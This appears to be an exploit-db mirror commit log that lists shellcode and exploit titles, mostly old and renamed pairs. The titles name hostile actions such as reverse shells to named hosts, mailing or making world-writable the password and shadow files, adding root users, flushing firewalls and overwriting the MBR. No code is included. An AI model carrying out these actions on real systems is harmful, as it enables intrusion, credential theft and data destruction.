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exploit-db-mirror/platforms/generator/shellcode/36781.py
Offensive Security c7b4bfd8e6 DB: 2017-08-23 
23 new exploits

Microsoft Windows 7 SP1 x86 -  GDI Palette Objects Local Privilege Escalation (MS17-017)
Microsoft Windows 7 SP1 x86 - GDI Palette Objects Local Privilege Escalation (MS17-017)
Disk Pulse Enterprise 9.9.16 - 'Import Command' Buffer Overflow
Disk Savvy Enterprise 9.9.14 - 'Import Command' Buffer Overflow
VX Search Enterprise 9.9.12 - 'Import Command' Buffer Overflow
Microsoft Windows - Escalate UAC Protection Bypass (Via COM Handler Hijack) (Metasploit)

IBM OpenAdmin Tool - SOAP welcomeServer PHP Code Execution (Metasploit)

BSD - Passive Connection Shellcode (124 bytes)
BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)
BSD/x86 - setuid(0) then execve /bin/sh Shellcode (30 bytes)
BSD/x86 - Bind Shell  31337/TCP + setuid(0) Shellcode (94 bytes)
BSD/x86 - execve /bin/sh multiplatform Shellcode (27 bytes)
BSD/x86 - execve /bin/sh setuid (0) Shellcode (29 bytes)
BSD/x86 - Bind Shell 31337/TCP Shellcode (83 bytes)
BSD/x86 - Bind Random Port Shellcode (143 bytes)
BSD/x86 - setuid(0) + execve /bin/sh Shellcode (30 bytes)
BSD/x86 - Bind TCP Shell (31337/TCP) + setuid(0) Shellcode (94 bytes)
BSD/x86 - execve /bin/sh Shellcode (27 bytes)
BSD/x86 - execve /bin/sh + setuid(0) Shellcode (29 bytes)
BSD/x86 - Bind TCP Shell (31337/TCP) Shellcode (83 bytes)
BSD/x86 - Bind TCP Shell (Random Port) Shellcode (143 bytes)
BSD/x86 - execve /bin/sh Crypt Shellcode (49 bytes)
BSD/x86 - execve /bin/sh ENCRYPT* Shellcode (57 bytes)
BSD/x86 - Connect torootteam.host.sk:2222 Shellcode (93 bytes)
BSD/x86 - cat /etc/master.passwd | mail [email] Shellcode (92 bytes)
BSD/x86 - execve /bin/sh Encoded Shellcode (49 bytes)
BSD/x86 - execve /bin/sh Encoded Shellcode (57 bytes)
BSD/x86 - Reverse TCP Shell (torootteam.host.sk:2222/TCP) Shellcode (93 bytes)
BSD/x86 - execve /bin/cat /etc/master.passwd | mail [email] Shellcode (92 bytes)
BSDi/x86 - execve /bin/sh toupper evasion Shellcode (97 bytes)
FreeBSD i386 & AMD64 - Execve /bin/sh Shellcode (Anti-Debugging) (140 bytes)
BSDi/x86 - execve /bin/sh ToUpper Encoded Shellcode (97 bytes)
FreeBSD x86 / x64 - execve /bin/sh Anti-Debugging Shellcode (140 bytes)
FreeBSD/x86 - connect back.send.exit /etc/passwd Shellcode (112 bytes)
FreeBSD/x86 - kill all processes Shellcode (12 bytes)
FreeBSD/x86 - rev connect + recv + jmp + return results Shellcode (90 bytes)
FreeBSD/x86 - /bin/cat /etc/master.passwd Null-Free Shellcode (65 bytes)
FreeBSD/x86 - Reverse /bin/sh Shell (127.0.0.1:8000) Shellcode (89 bytes)
FreeBSD/x86 - setuid(0); execve(ipf -Fa); Shellcode (57 bytes)
FreeBSD/x86 - /bin/sh Encrypted Shellcode (48 bytes)
FreeBSD/x86 - Reverse TCP cat /etc/passwd (192.168.1.33:8000/TCP) Shellcode (112 bytes)
FreeBSD/x86 - Kill All Processes Shellcode (12 bytes)
FreeBSD/x86 - ConnectBack (172.17.0.9:8000/TCP) + Receive Shellcode + JMP + Return Results Null-Free Shellcode (90 bytes)
FreeBSD/x86 - execve /bin/cat /etc/master.passwd Null-Free Shellcode (65 bytes)
FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:8000) Null-Free Shellcode (89 bytes)
FreeBSD/x86 - setuid(0); + execve(ipf -Fa); Shellcode (57 bytes)
FreeBSD/x86 - execve /bin/sh Encoded Shellcode (48 bytes)

FreeBSD/x86 - execve /bin/sh Shellcode (2) (23 bytes)
FreeBSD/x86 - execve /bin/sh Shellcode (23 bytes)

FreeBSD/x86 - kldload /tmp/o.o Shellcode (74 bytes)
FreeBSD/x86 - Load Kernel Module (/sbin/kldload /tmp/o.o) Shellcode (74 bytes)

FreeBSD/x86 - Connect Port 31337 Shellcode (102 bytes)
FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (102 bytes)
Linux/x86 - Bind Shellcode (Generator)
Windows XP SP1 - Bind Shellcode (Generator)
(Generator) - /bin/sh Polymorphic With Printable ASCII Characters Shellcode
Linux/x86 - cmd Null-Free Shellcode (Generator)
(Generator) - Alphanumeric Shellcode (Encoder/Decoder)
Linux/x86 - Bind TCP Shellcode (Generator)
Windows XP SP1 - Bind TCP Shell Shellcode (Generator)
Linux - execve /bin/sh Polymorphic With Printable ASCII Characters Shellcode (Generator)
Linux/x86 - Command Null-Free Shellcode (Generator)
Windows - Reverse TCP Shell (127.0.0.1:123/TCP) Alphanumeric Shellcode (Encoder/Decoder) (Generator)
Win32 - Multi-Format Encoding Tool Shellcode (Generator)
iOS - Version-independent Shellcode
Cisco IOS - Connectback 21/TCP Shellcode
Windows x86 - Multi-Format Encoding Tool Shellcode (Generator)
iOS Version-independent - Null-Free Shellcode
Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode
Linux/x86-64 - Flush IPTables Rules Shellcode (84 bytes)
Linux/x86-64 - Reverse TCP Semi-Stealth Shell  Shellcode (88+ bytes)  (Generator)
Linux/MIPS (Linksys WRT54G/GL) - Bind 4919/TCP Shellcode (276 bytes)
Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Shellcode (84 bytes)
Linux/x86-64 - Reverse TCP Semi-Stealth /bin/bash Shell Shellcode (88+ bytes) (Generator)
Linux/MIPS (Linksys WRT54G/GL) - Bind TCP /bin/sh Shell (4919/TCP) Shellcode (276 bytes)

Linux/PPC - connect back (192.168.1.1:31337) execve /bin/sh Shellcode (240 bytes)
Linux/PPC - Reverse TCP /bin/sh Shell (192.168.1.1:31337/TCP) Shellcode (240 bytes)

Linux/SPARC - Bind 8975/TCP Shellcode (284 bytes)
Linux/SPARC - Bind TCP Shell (8975/TCP) Null-Free Shellcode (284 bytes)
Linux/x86 - killall5 polymorphic Shellcode (61 bytes)
Linux/x86 - /bin/sh Polymorphic Shellcode (48 bytes)
Linux/x86 - Bind 4444/TCP Shellcode (XOR Encoded) (152 bytes)
Linux/x86 - reboot() polymorphic Shellcode (57 bytes)
Linux/x86 - chmod(_/etc/shadow__666) Polymorphic Shellcode (54 bytes)
Linux/x86 - setreuid(geteuid()_geteuid())_execve(_/bin/sh__0_0) Shellcode (34 bytes)
Linux/x86 - Bind 8000/TCP + Execve Iptables -F Shellcode (176 bytes)
Linux/x86 - Bind 8000/TCP + Add Root User Shellcode (225+ bytes)
Linux/x86 - Bind 8000/TCP ASM Code Linux Shellcode (179 bytes)
Linux/x86 - killall5 Polymorphic Shellcode (61 bytes)
Linux/x86 - execve /bin/sh Polymorphic Shellcode (48 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) XOR Encoded Shellcode (152 bytes)
Linux/x86 - reboot() Polymorphic Shellcode (57 bytes)
Linux/x86 - chmod 666 /etc/shadow Polymorphic Shellcode (54 bytes)
Linux/x86 - setreuid(geteuid()_ geteuid()) + execve(_/bin/sh__0_0) Shellcode (34 bytes)
Linux/x86 - Bind TCP Shell (8000/TCP) + Flush IPTables Rules (/sbin/iptables -F) Shellcode (176 bytes)
Linux/x86 - Bind TCP Shell (8000/TCP) + Add Root User Shellcode (225+ bytes)
Linux/x86 - Bind TCP /bin/sh Shell (8000/TCP) Shellcode (179 bytes)

Linux/x86 - Serial port shell binding + busybox Launching Shellcode (82 bytes)
Linux/x86 - Serial Port Shell Binding (/dev/ttyS0) + busybox Launching Null-Free Shellcode (82 bytes)

Linux/x86 - chmod(_/etc/shadow__666) + exit(0) Shellcode (30 bytes)
Linux/x86 - chmod 666 /etc/shadow + exit(0) Shellcode (30 bytes)

Linux/x86 - Shellcode Obfuscator (Generator)
Linux/x86 - Shellcode Obfuscator Null-Free (Generator)
Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Shellcode (28 bytes)
Linux/x86 - setresuid(0_0_0) /bin/sh Shellcode (35 bytes)
Linux/x86 - setuid(0) + execve(/bin/sh_0_0) Null-Free Shellcode (28 bytes)
Linux/x86 - setresuid(0_0_0) + /bin/sh Shellcode (35 bytes)

Linux/x86 - Reverse TCP /etc/shadow (8192/TCP) Shellcode (155 bytes)
Linux/x86 - Reverse TCP cat /etc/shadow (8192/TCP) Shellcode (155 bytes)

Linux/x86 - setuid(0) . setgid(0) . aslr_off Shellcode (79 bytes)
Linux/x86 - setuid(0) + setgid(0) + aslr_off (Disable ASLR Security) Shellcode (79 bytes)

Linux/x86 - /sbin/iptables -F Shellcode (40 bytes)
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F)  Shellcode (40 bytes)

Linux/x86 - /sbin/ipchains -F Shellcode (40 bytes)
Linux/x86 - Flush IPChains Rules (/sbin/ipchains -F) Shellcode (40 bytes)
Linux/x86 - HTTP/1.x GET_ Downloads + execve() Shellcode (111+ bytes)
Linux/x86 - executes command after setreuid Shellcode (49+ bytes)
Linux/x86 - HTTP/1.x GET + Downloads + execve() Null-Free Shellcode (111+ bytes)
Linux/x86 - setreuid + executes command (49+ bytes)
Linux/x86 - Bind 31337/TCP + setuid Shellcode (96 bytes)
Linux/x86 - Bind 2707/TCP Shellcode (84 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + setuid Shellcode (96 bytes)
Linux/x86 - Bind TCP Shell (2707/TCP) Shellcode (84 bytes)
Linux/x86 - Bind 31337/TCP SET_PORT() Shellcode (100 bytes)
Linux/x86 - Reverse TCP Shell (192.168.13.22:31337) Shellcode (82 bytes)  (Generator)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (100 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell (192.168.13.22:31337) Shellcode (82 bytes) (Generator)

Linux/x86 - Reverse TCP XOR Encoded Shell (127.0.0.1:80/TCP) Shellcode (371 bytes)
Linux/x86 - Reverse TCP Shell (127.0.0.1:80/TCP) XOR Encoded Shellcode (371 bytes)

Linux/x86 - /tmp/swr to SWAP restore Shellcode (109 bytes)
Linux/x86 - Read SWAP write to /tmp/swr Shellcode (109 bytes)
Linux/x86 - Bind TCP Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes)
Linux/x86 - Bind 64713/TCP Shellcode (86 bytes)
Linux/x86 - Bind TCP /bin/sh Password (gotfault) Shell (64713/TCP) Shellcode (166 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (64713/TCP) Shellcode (86 bytes)

Linux/x86 - setreuid(0_0) execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/sh__ [_/bin/sh__ NULL]) Shellcode (33 bytes)

Linux/x86 - TCP Proxy Shellcode (236 bytes)
Linux/x86 - TCP Proxy Null-Free Shellcode (236 bytes)
Linux/x86 - execve /bin/sh xored for Intel x86 CPUID Shellcode (41 bytes)
Linux/x86 - execve /bin/sh Shellcode (+1 Encoded) (39 bytes)
Linux/x86 - Add User (xtz) To /etc/passwd Shellcode (59 bytes)
Linux/x86 - anti-debug trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes)
Linux/x86 - Bind /bin/sh to 31337/TCP Shellcode (80 bytes)
Linux/x86 - Bind /bin/sh to 31337/TCP + fork() Shellcode (98 bytes)
Linux/x86 (Intel x86 CPUID) - execve /bin/sh XORED Encoded Shellcode (41 bytes)
Linux/x86 - execve /bin/sh Shellcode +1 Encoded (39 bytes)
Linux/x86 - Add Root User (xtz) To /etc/passwd Shellcode (59 bytes)
Linux/x86 - Anti-Debug Trick (INT 3h trap) + execve /bin/sh Shellcode (39 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) Shellcode (80 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (31337/TCP) + fork() Shellcode (98 bytes)

Linux/x86 - chmod(/etc/shadow_ 0666) + exit() Shellcode (32 bytes)
Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (32 bytes)

Linux/x86 - Reverse  TCP Shell Shellcode (90 bytes)  (Generator)
Linux/x86 - Reverse TCP Shell Shellcode (90 bytes) (Generator)
Linux/x86 - read(0_buf_2541); chmod(buf_4755); Shellcode (23 bytes)
Linux/x86 - write(0__Hello core!\n__12); (with optional 7 byte exit) Shellcode (36 bytes)
Linux/x86 - snoop /dev/dsp Shellcode (172 bytes)
Linux/x86 - /bin/sh Standard Opcode Array Payload Shellcode (21 bytes)
Linux/x86 - read(0_buf_2541); + chmod(buf_4755); Shellcode (23 bytes)
Linux/x86 - write(0__Hello core!\n__12); Exit Shellcode (36/43 bytes)
Linux/x86 - snoop /dev/dsp Null-Free Shellcode (172 bytes)
Linux/x86 - execve /bin/sh Standard Opcode Array Payload Shellcode (21 bytes)
Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes)
Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes)
Linux/x86 - /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes)
Linux/x86 - chroot + standart Shellcode (66 bytes)
Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (23 bytes)
Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (27 bytes)
Linux/x86 - execve /bin/sh sysenter Opcode Array Payload Shellcode (45 bytes)
Linux/x86 - Break chroot (../ 20x Loop) + execve /bin/sh Shellcode (66 bytes)
Linux/x86 - setreuid/execve Shellcode (31 bytes)
Linux/x86 - Alphanumeric Shellcode (64 bytes)
Linux/x86 - Alphanumeric using IMUL Method Shellcode (88 bytes)
Linux/x86 - setreuid + execve Shellcode (31 bytes)
Linux/x86 - Alphanumeric Encoded Shellcode (64 bytes)
Linux/x86 - Alphanumeric Encoder (IMUL Method) Shellcode (88 bytes)
Linux/x86 - Bind 5074/TCP (ToUpper Encoded) Shellcode (226 bytes)
Linux/x86 - Add User (t00r) Anti-IDS Shellcode (116 bytes)
Linux/x86 - Bind TCP Shell (5074/TCP) ToUpper Encoded Shellcode (226 bytes)
Linux/x86 - Add Root User (t00r) Anti-IDS Shellcode (116 bytes)
Linux/x86 - iptables -F Shellcode (45 bytes)
Linux/x86 - iptables -F Shellcode (58 bytes)
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F)  Shellcode (45 bytes)
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F)  Shellcode (58 bytes)

Linux/x86 - connect Shellcode (120 bytes)
Linux/x86 - Reverse TCP /bin/sh Shell Shellcode (120 bytes)

Linux/x86 - cp /bin/sh /tmp/katy ; chmod 4555 katy Shellcode (126 bytes)
Linux/x86 - cp /bin/sh /tmp/katy ; + chmod 4555 katy Shellcode (126 bytes)
Linux/x86 - execve /bin/sh setreuid(12_12) Shellcode (50 bytes)
Linux/x86 - Bind 5074/TCP Shellcode (92 bytes)
Linux/x86 - Bind 5074/TCP + fork() Shellcode (130 bytes)
Linux/x86 - Add User (t00r) Shellcode (82 bytes)
Linux/x86 - Add User Shellcode (104 bytes)
Linux/x86 - break chroot Shellcode (34 bytes)
Linux/x86 - break chroot Shellcode (46 bytes)
Linux/x86 - break chroot execve /bin/sh Shellcode (80 bytes)
Linux/x86 - execve /bin/sh + setreuid(12_12) Shellcode (50 bytes)
Linux/x86 - Bind TCP Shell (5074/TCP) Shellcode (92 bytes)
Linux/x86 - Bind TCP Shell (5074/TCP) + fork() Shellcode (130 bytes)
Linux/x86 - Add Root User (t00r) Shellcode (82 bytes)
Linux/x86 - Add Root User Shellcode (104 bytes)
Linux/x86 - Break chroot (../ 10x Loop) Shellcode (34 bytes)
Linux/x86 - Break chroot (../ 10x Loop) Shellcode (46 bytes)
Linux/x86 - Break chroot + execve /bin/sh Shellcode (80 bytes)

Linux/x86 - execve /bin/sh (XOR Encoded) Shellcode (55 bytes)
Linux/x86 - execve /bin/sh XOR Encoded Shellcode (55 bytes)

Linux/x86 - chroot()/execve() code Shellcode (80 bytes)
Linux/x86 - Add User (z) Shellcode (70 bytes)
Linux/x86 - break chroot setuid(0) + /bin/sh Shellcode (132 bytes)
Linux/x86-64 - Bind 4444/TCP Shellcode (132 bytes)
Linux/x86 - Add Root User (z) Shellcode (70 bytes)
Linux/x86 - setreuid(0_ 0) + Break chroot (mkdir/chdir/chroot _../_) + execve /bin/sh Shellcode (132 bytes)
Linux/x86-64 - Bind TCP Shell (4444/TCP) Shellcode (132 bytes)
Linux PPC & x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (99 bytes)
OSX PPC & x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (121 bytes)
Linux/x86 & Unix/SPARC & IRIX/MIPS - execve /bin/sh Shellcode (141 bytes)
Linux/x86 & Unix/SPARC - execve /bin/sh Shellcode (80 bytes)
Linux/x86 & bsd/x86 - execve /bin/sh Shellcode (38 bytes)
Linux/PPC / Linux/x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (99 bytes)
OSX/PPC / OSX/x86 - execve(_/bin/sh__{_/bin/sh__NULL}_NULL) Shellcode (121 bytes)
Linux/x86 / Unix/SPARC / IRIX/MIPS - execve /bin/sh Shellcode (141 bytes)
Linux/x86 / Unix/SPARC - execve /bin/sh Shellcode (80 bytes)
BSD/x86 / Linux/x86 - execve /bin/sh Shellcode (38 bytes)
NetBSD/x86 - setreuid(0_ 0); execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes)
NetBSD/x86 - setreuid(0_ 0); execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes)
NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (29 bytes)
NetBSD/x86 - setreuid(0_ 0); + execve(_/bin//sh__ ..._ NULL); Shellcode (30 bytes)
OpenBSD/x86 - Bind 6969/TCP Shellcode (148 bytes)
OpenBSD/x86 - Add user _w00w00_ Shellcode (112 bytes)
OSX/PPC - sync()_ reboot() Shellcode (32 bytes)
OpenBSD/x86 - Bind TCP Shell (6969/TCP) Shellcode (148 bytes)
OpenBSD/x86 - Add Root User (w00w00) Shellcode (112 bytes)
OSX/PPC - sync() + reboot() Shellcode (32 bytes)

OSX/PPC - Add user _r00t_ Shellcode (219 bytes)
OSX/PPC - Add Root User (r00t) Shellcode (219 bytes)
Solaris/SPARC - executes command after setreuid Shellcode (92+ bytes)
Solaris/SPARC -  Reverse TCP XNOR Encoded Shell (44434/TCP) Shellcode (600 bytes) (Generator)
Solaris/SPARC - setreuid/execve Shellcode (56 bytes)
Solaris/SPARC - Bind 6666/TCP Shellcode (240 bytes)
Solaris/SPARC - setreuid + executes command Shellcode (92+ bytes)
Solaris/SPARC - Reverse TCP Shell (44434/TCP) XNOR Encoded Shellcode (600 bytes) (Generator)
Solaris/SPARC - setreuid + execve Shellcode (56 bytes)
Solaris/SPARC - Bind TCP Shell (6666/TCP) Shellcode (240 bytes)
Solaris/SPARC - Bind 6789/TCP Shellcode (228 bytes)
Solaris/SPARC - Reverse TCP Shell (192.168.1.4:5678/TCP) Shellcode (204 bytes)
Solaris/SPARC - Bind Shellcode (240 bytes)
Solaris/x86 - Bind TCP Shellcode (Generator)
Solaris/SPARC - Bind TCP /bin/sh (6789/TCP) Shellcode (228 bytes)
Solaris/SPARC - Reverse TCP /bin/sh Shell (192.168.1.4:5678/TCP) Shellcode (204 bytes)
Solaris/SPARC - Bind TCP Shell Shellcode (240 bytes)
Solaris/x86 - Bind TCP Shellcode (Generator)
Windows 5.0 < 7.0 x86 - Bind Shell 28876/TCP Null-Free Shellcode
Win32/XP SP2 (EN) - cmd.exe Shellcode (23 bytes)
Win32 - SEH Omelet Shellcode
Win32 - Bind 23/TCP Winexec Telnet Shellcode (111 bytes)
Win32 - PEB!NtGlobalFlags Shellcode (14 bytes)
Win32 XP SP2 (FR) - Sellcode cmd.exe Shellcode (32 bytes)
Win32/XP SP2 - cmd.exe Shellcode (57 bytes)
Win32 - PEB 'Kernel32.dll' ImageBase Finder Alphanumeric Shellcode (67 bytes)
Win32 - PEB 'Kernel32.dll' ImageBase Finder (ASCII Printable) Shellcode (49 bytes)
Win32 - ConnectBack + Download A File + Save + Execute Shellcode
Win32 - Download File + Execute Shellcode (Browsers Edition) (Generator) (275+ bytes)
Win32 - Download File + Execute Shellcode (192 bytes)
Win32 - Download File + Execute Shellcode (124 bytes)
Win32/NT/XP - IsDebuggerPresent Shellcode (39 bytes)
Win32 SP1/SP2 - Beep Shellcode (35 bytes)
Win32/XP SP2 - Pop up message box Shellcode (110 bytes)
Win32 - WinExec() Command Parameter Shellcode (104+ bytes)
Win32 - Download File + Execute Shellcode (226+ bytes)
Windows NT/2000/XP (Russian) - Add User 'slim' Shellcode (318 bytes)
Windows 5.0 < 7.0 x86 - Bind TCP Shell (28876/TCP) Null-Free Shellcode
Windows XP SP2 x86 (English) - cmd.exe Shellcode (23 bytes)
Windows x86 - SEH Omelet Shellcode
Windows x86 - Add Administrator User (GAZZA/123456) + Start Telnet Service Shellcode (111 bytes)
Windows x86 - PEB!NtGlobalFlags Shellcode (14 bytes)
Windows XP SP2 x86 (French) - Sellcode cmd.exe Shellcode (32 bytes)
Windows XP SP2 x86 - cmd.exe Shellcode (57 bytes)
Windows x86 - PEB _Kernel32.dll_ ImageBase Finder Alphanumeric Shellcode (67 bytes)
Windows x86 - PEB _Kernel32.dll_ ImageBase Finder (ASCII Printable) Shellcode (49 bytes)
Windows x86 - ConnectBack + Download A File + Save + Execute Shellcode
Windows x86 - Download File + Execute Shellcode (Browsers Edition) (275+ bytes) (Generator)
Windows x86 - Download File + Execute Shellcode (192 bytes)
Windows x86 - Download File + Execute Shellcode (124 bytes)
Windows NT/XP x86 - IsDebuggerPresent Shellcode (39 bytes)
Windows SP1/SP2 x86 - Beep Shellcode (35 bytes)
Windows XP SP2 x86 - Pop up message box Shellcode (110 bytes)
Windows x86 - WinExec() Command Parameter Shellcode (104+ bytes)
Windows x86 - Download File + Execute Shellcode (226+ bytes)
Windows NT/2000/XP (Russian) - Add Administartor User (slim/shady) Shellcode (318 bytes)

Windows XP/2000/2003 - Reverse TCP Shell (127.0.0.1:53) Shellcode (275 bytes)  (Generator)
Windows XP/2000/2003 - Reverse TCP Shell (127.0.0.1:53) Shellcode (275 bytes) (Generator)
Windows XP - Download File + Execute Shellcode
Windows XP SP1 - Bind 58821/TCP Shellcode (116 bytes)
Windows XP - Download File + Execute Null-Free Shellcode
Windows XP SP1 - Bind TCP Shell (58821/TCP) Shellcode (116 bytes)

Win64 - (URLDownloadToFileA) Download + Execute Shellcode (218+ bytes)
Windows x64 - (URLDownloadToFileA) Download + Execute Shellcode (218+ bytes)
Linux/x86 - setuid(0) + cat /etc/shadow Shellcode (49 bytes)
Linux/x86 - chmod(/etc/shadow_ 0666) + exit() Shellcode (33 bytes)
Linux/x86 - setuid(0) + /bin/cat /etc/shadow Shellcode (49 bytes)
Linux/x86 - chmod 0666 /etc/shadow + exit() Shellcode (33 bytes)
Linux/x86 - overwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes)
Win32 XP SP3 - ShellExecuteA Shellcode
Linux/x86 - Pverwrite MBR on /dev/sda with _LOL!' Shellcode (43 bytes)
Windows XP SP3 x86 - ShellExecuteA Shellcode
Win32 XP SP3 - Add Firewall Rule to Allow 445/TCP Traffic Shellcode
FreeBSD/x86 - Bind 1337/TCP Shellcode (167 bytes)
Win32/XP SP2 - calc.exe Shellcode (45 bytes)
Windows XP SP3 x86 - Add Firewall Rule to Allow 445/TCP Traffic Shellcode
FreeBSD/x86 - Bind TCP /bin/sh Shell (1337/TCP) Shellcode (167 bytes)
Windows XP SP2 x86 - calc.exe Shellcode (45 bytes)

Win32/XP SP2 (EN + AR) - cmd.exe Shellcode (23 bytes)
Windows XP SP2 x86 (English / Arabic) - cmd.exe Shellcode (23 bytes)

Linux/x86 - break chroot Shellcode (79 bytes)
Linux/x86 - setuid + Break chroot (mkdir/chdir/chroot _..._) + execve /bin/sh Shellcode (79 bytes)

Linux/x86 - Append '/etc/passwd' + exit() Shellcode (107 bytes)
Linux/x86 - Add Root User (toor) To /etc/passwd + exit() Shellcode (107 bytes)

Win32 XP SP2 (FR) - calc Shellcode (19 bytes)
Windows XP SP2 x86 (French) - calc Shellcode (19 bytes)
Linux/x86 - bin/cat /etc/passwd Shellcode (43 bytes)
Win32 XP SP3 (English) - cmd.exe Shellcode (26 bytes)
Win32 XP SP2 (Turkish) - cmd.exe Shellcode (26 bytes)
Linux/x86 - /bin/sh Shellcode (8 bytes)
Linux/x86 - execve /bin/cat /etc/passwd Shellcode (43 bytes)
Windows XP SP3 x86 (English) - cmd.exe Shellcode (26 bytes)
Windows XP SP2 x86 (Turkish) - cmd.exe Shellcode (26 bytes)
Linux/x86 - execve /bin/sh Shellcode (8 bytes)
Linux/x86 - disabled modsecurity Shellcode (64 bytes)
Win32 - JITed Stage-0 Shellcode
Win32 - JITed exec notepad Shellcode
Windows XP Professional SP2 (ITA) - calc.exe Shellcode (36 bytes)
Win32 - Mini HardCode WinExec&ExitProcess Shellcode (16 bytes)
Linux/x86 - Disabled modsecurity Shellcode (64 bytes)
Windows x86 - JITed Stage-0 Shellcode
Windows x86 - JITed exec notepad Shellcode
Windows XP Professional SP2 (Italian) - calc.exe Shellcode (36 bytes)
Windows XP SP2 x86 - write.exe + ExitProcess WinExec Shellcode (16 bytes)
Win32/XP SP3 (RU) - WinExec+ExitProcess cmd Shellcode (12 bytes)
Win32 - MessageBox Shellcode (Metasploit)
Windows XP SP3 x86 (Russia) - cmd + ExitProcess WinExec Shellcode (12 bytes)
Windows x86 - MessageBox Shellcode (Metasploit)
Linux/x86 - Bind nc -lvve/bin/sh -p13377 Shellcode
Linux/x86 - chmod(_/etc/shadow__ 0666) Shellcode (36 bytes)
Linux/x86 - Bind Netcat Shell (13377/TCP) Shellcode
Linux/x86 - chmod 0666 /etc/shadow Shellcode (36 bytes)
Linux/x86 - chmod(_/etc/shadow__ 0777) Shellcode (33 bytes)
Linux/x86 - chmod(_/etc/shadow__ 0777) Shellcode (29 bytes)
Linux - write() + exit(0) Shellcode (Genearator With Customizable Text)
Linux/x86 - chmod  0777 /etc/shadow Shellcode (33 bytes)
Linux/x86 - chmod 0777 /etc/shadow Shellcode (29 bytes)
Linux - write() + exit(0) Shellcode (Generator)

Linux/x86 - Sends 'Phuck3d!' To All Terminals Shellcode (60 bytes)
Linux/x86 - Sends _Phuck3d!_ To All Terminals Shellcode (60 bytes)

Windows XP SP2 (FR) - Download File + Execute Shellcode
Windows XP SP2 (French) - Download File + Execute Shellcode

Linux/x86 - Disable randomize stack addresse Shellcode (106 bytes)
Linux/x86 -  Disable ASLR Security Shellcode Shellcode (106 bytes)
Linux/x86 - setuid(0) + chmod(_/etc/shadow__ 0666) Polymorphic Shellcode (61 bytes)
Linux/x86 - change mode 0777 of '/etc/shadow' with sys_chmod syscall Shellcode (39 bytes)
Linux/x86 - setuid(0) + chmod 0666 /etc/shadow Polymorphic Shellcode (61 bytes)
Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/shadow Shellcode (39 bytes)

Linux/x86 - change mode 0777 of '/etc/passwd' with sys_chmod syscall Shellcode (39 bytes)
Linux/x86 - (sys_chmod syscall) chmod 0777 /etc/passwd Shellcode (39 bytes)

Linux/x86 - Reverse  Netcat Shell (8080/TCP) Shellcode (76 bytes)
Linux/x86 - Reverse Netcat Shell (8080/TCP) Shellcode (76 bytes)

Solaris/x86 - Sync() & reboot() + exit(0) Shellcode (48 bytes)
Solaris/x86 - Sync() + reboot() + exit(0) Shellcode (48 bytes)
Linux/x86 - Bind 31337/TCP + setreuid (0_0) Polymorphic Shellcode (131 bytes)
Linux/x86-64 - setuid(0) + chmod (_/etc/passwd__ 0777) & exit(0) Shellcode (63 bytes)
Linux/x86 - Bind TCP Shell (31337/TCP) + setreuid(0_0) Polymorphic Shellcode (131 bytes)
Linux/x86-64 - setuid(0) + chmod 0777 /etc/passwd + exit(0) Shellcode (63 bytes)

Windows XP SP3 (SPA) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes)
Windows XP SP3 (Spanish) - URLDownloadToFileA + CreateProcessA + ExitProcess Shellcode (176+ bytes)

Windows - WinExec cmd.exe + ExitProcess Shellcode (195 bytes)
Windows - cmd.exe + ExitProcess WinExec Shellcode (195 bytes)
Linux/x86 - /bin/sh Polymorphic Shellcode (116 bytes)
Linux/ARM - chmod(_/etc/shadow__ 0777) polymorphic Shellcode (84 bytes)
Linux/ARM - chmod(_/etc/shadow__ 0777) Shellcode (35 bytes)
Linux/x86 - execve /bin/sh Polymorphic Shellcode (116 bytes)
Linux/ARM - chmod 0777 /etc/shadow Polymorphic Shellcode (84 bytes)
Linux/ARM - chmod 0777 /etc/shadow Shellcode (35 bytes)
Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL); (XOR 88 encoded) Polymorphic Shellcode (78 bytes)
Linux/x86 - Bind Shell 64533 Shellcode (97 bytes)
Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL); XOR 88 Encoded Polymorphic Shellcode (78 bytes)
Linux/x86 - Bind TCP /bin/sh Shell (64533/TCP) Shellcode (97 bytes)
Linux - setreuid(0_0) execve(_/bin/sh__NULL_NULL) XOR Encoded Shellcode (62 bytes)
Safari 4.0.5 - 5.0.0 (Windows XP/7) - JavaScript JITed exec calc (ASLR/DEP Bypass) Shellcode
